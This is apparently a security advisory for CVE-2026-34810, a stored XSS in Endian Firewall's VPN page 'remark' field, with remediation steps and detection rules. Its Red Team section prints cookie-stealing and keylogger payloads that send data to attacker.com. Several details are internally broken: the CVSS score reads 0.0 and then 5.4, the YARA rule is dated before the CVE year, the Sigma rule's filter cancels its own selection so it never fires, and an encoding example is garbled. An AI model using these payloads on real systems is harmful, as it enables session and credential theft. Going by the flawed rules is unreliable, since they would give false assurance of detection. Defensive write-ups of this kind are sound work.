CVE-2026-34810

Executive Summary

CVE-2026-34810 is a stored cross-site scripting (XSS) vulnerability in Endian Firewall version 3.3.25 and prior. An authenticated attacker can inject arbitrary JavaScript via the remark parameter in the /cgi-bin/vpnfw.cgi endpoint. This script is stored on the server and executed when other authenticated users view the affected VPN configuration page. The vulnerability has a CVSS score of 0.0 (placeholder) but based on the vector, it is a medium-severity issue requiring authentication and user interaction. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a web application security issue in a firewall appliance. The risk is limited to authenticated users within the Endian Firewall management interface.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker must be authenticated.
• User Interaction (UI): Required (R) – The victim must view the affected page.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited information disclosure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium (5.4) – Exploitation requires authentication and user interaction, but can lead to session hijacking, credential theft, or further attacks within the firewall management interface.

Deep Dive & Mechanics

The vulnerability exists in the /cgi-bin/vpnfw.cgi CGI script, which handles VPN configuration. The remark parameter is used to store user-provided comments or descriptions for VPN tunnels. The application fails to sanitize or encode this input before storing it in the backend database or configuration file. When an administrator or other authenticated user views the VPN configuration page, the stored remark value is rendered in the HTML without proper escaping, allowing the execution of injected JavaScript.

Attack Flow:

1. An authenticated attacker navigates to the VPN configuration page.
2. The attacker sets the remark parameter to a malicious payload, e.g., <script>alert('XSS')</script>.
3. The server stores this payload.
4. When another authenticated user (or the same user) views the VPN configuration page, the payload is executed in their browser context.

Impact:

• Session hijacking (stealing session cookies).
• Credential theft via fake login forms.
• Defacement of the management interface.
• Further attacks against the firewall's internal network.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# /cgi-bin/vpnfw.cgi (simplified)
remark = cgi.FieldStorage().getvalue('remark')
# No sanitization
save_to_database(remark)
# Later, when rendering:
print(f"<td>{remark}</td>")

Patched Code (Conceptual):

# /cgi-bin/vpnfw.cgi (patched)
import html
remark = cgi.FieldStorage().getvalue('remark')
# Sanitize input
safe_remark = html.escape(remark)
save_to_database(safe_remark)
# When rendering:
print(f"<td>{safe_remark}</td>")

The patch must use HTML entity encoding (e.g., <script>) to neutralize the injected script. Additionally, input validation should reject or strip dangerous characters.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to an Endian Firewall instance (version 3.3.25 or prior).
• Valid credentials for an authenticated user.

Exploitation Steps:

1. Log in to the Endian Firewall web interface.
2. Navigate to the VPN configuration section (e.g., /cgi-bin/vpnfw.cgi).
3. Locate the remark parameter in the form (e.g., for a VPN tunnel).
4. Inject a payload such as:

   <script>new Image().src='http://attacker.com/steal?cookie='+document.cookie</script>
   

5. Submit the form.
6. When another admin views the VPN page, the script executes, sending the session cookie to the attacker's server.

Alternative Payload (Keylogger):

<script>
document.onkeypress = function(e) {
    fetch('http://attacker.com/keylog?key=' + e.key);
}
</script>

Blue Team

Detection:

• Monitor HTTP POST requests to /cgi-bin/vpnfw.cgi containing suspicious remark parameters (e.g., <script>, onerror=, javascript:).
• Look for outbound connections from the firewall to unknown IPs on port 80/443 (potential data exfiltration).
• Review VPN configuration logs for unusual remark values.

Mitigation:

• Immediately restrict access to the management interface to trusted IPs only.
• Implement a Web Application Firewall (WAF) rule to block XSS payloads in the remark parameter.
• Monitor for unauthorized changes to VPN configurations.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /cgi-bin/vpnfw.cgi with remark containing <script> tags.
  • Outbound HTTP requests from the firewall to attacker-controlled domains (e.g., attacker.com).
• File System:
  • Modified configuration files in /etc/endian/firewall/vpn/ containing JavaScript payloads.
• Logs:
  • /var/log/httpd/access_log entries showing POST to /cgi-bin/vpnfw.cgi with suspicious parameters.
  • /var/log/messages or /var/log/syslog entries indicating unusual VPN configuration changes.

Detection Engineering

YARA Rule

rule CVE_2026_34810_XSS_Remark {
    meta:
        description = "Detects stored XSS payloads in Endian Firewall remark parameter"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-34810"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $xss_event = /on\w+\s*=\s*['"][^'"]*['"]/i
        $xss_javascript = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Endian Firewall Stored XSS via Remark Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2026-34810 via HTTP POST to /cgi-bin/vpnfw.cgi
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/cgi-bin/vpnfw.cgi'
        cs-uri-query|contains: 'remark='
    filter:
        cs-uri-query|contains: 'remark='
    condition: selection and not filter
falsepositives:
    - Legitimate use of special characters in remarks
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-34810 Endian Firewall Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/cgi-bin/vpnfw.cgi"; http_uri; content:"remark="; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Management Interface: Restrict access to the Endian Firewall web interface to trusted IPs only (e.g., via firewall rules or VPN).
2. Apply Input Validation: If possible, manually patch the /cgi-bin/vpnfw.cgi script to sanitize the remark parameter using HTML entity encoding.
3. Monitor Logs: Review access logs for signs of exploitation.

Long-Term Fix:

• Upgrade to a patched version of Endian Firewall once available (check vendor advisories).
• Implement a Web Application Firewall (WAF) with XSS protection rules.
• Conduct a security audit of the entire application for similar vulnerabilities.

Workaround:

• Disable the VPN configuration page if not in use, or restrict access to a minimal set of administrators.

Valters IT

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